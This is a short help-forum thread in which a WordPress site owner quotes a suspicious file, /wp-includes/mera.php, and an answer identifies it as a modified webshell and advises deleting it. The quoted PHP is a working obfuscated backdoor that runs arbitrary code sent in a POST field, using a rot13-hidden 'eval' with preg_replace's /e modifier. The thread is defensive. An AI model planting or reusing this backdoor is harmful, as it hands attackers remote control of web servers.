WordPress Site hacked? Suspicious PHP file

Question

I found a suspicious PHP file /wp-includes/mera.php

Content:

<?php if(isset($_GET['test'])){echo 'success';}else{isset($_POST['vfj39']) && ($www= $_POST['vfj39']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}?>

Could @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add'); possibly do something malicious?

Answer 1

Delete the file instantly!

This PHP code is a modified webshell. Those could be used to atack other websites and could lead to serious legal problems!

After deletion you should also fix the leak that let the file in!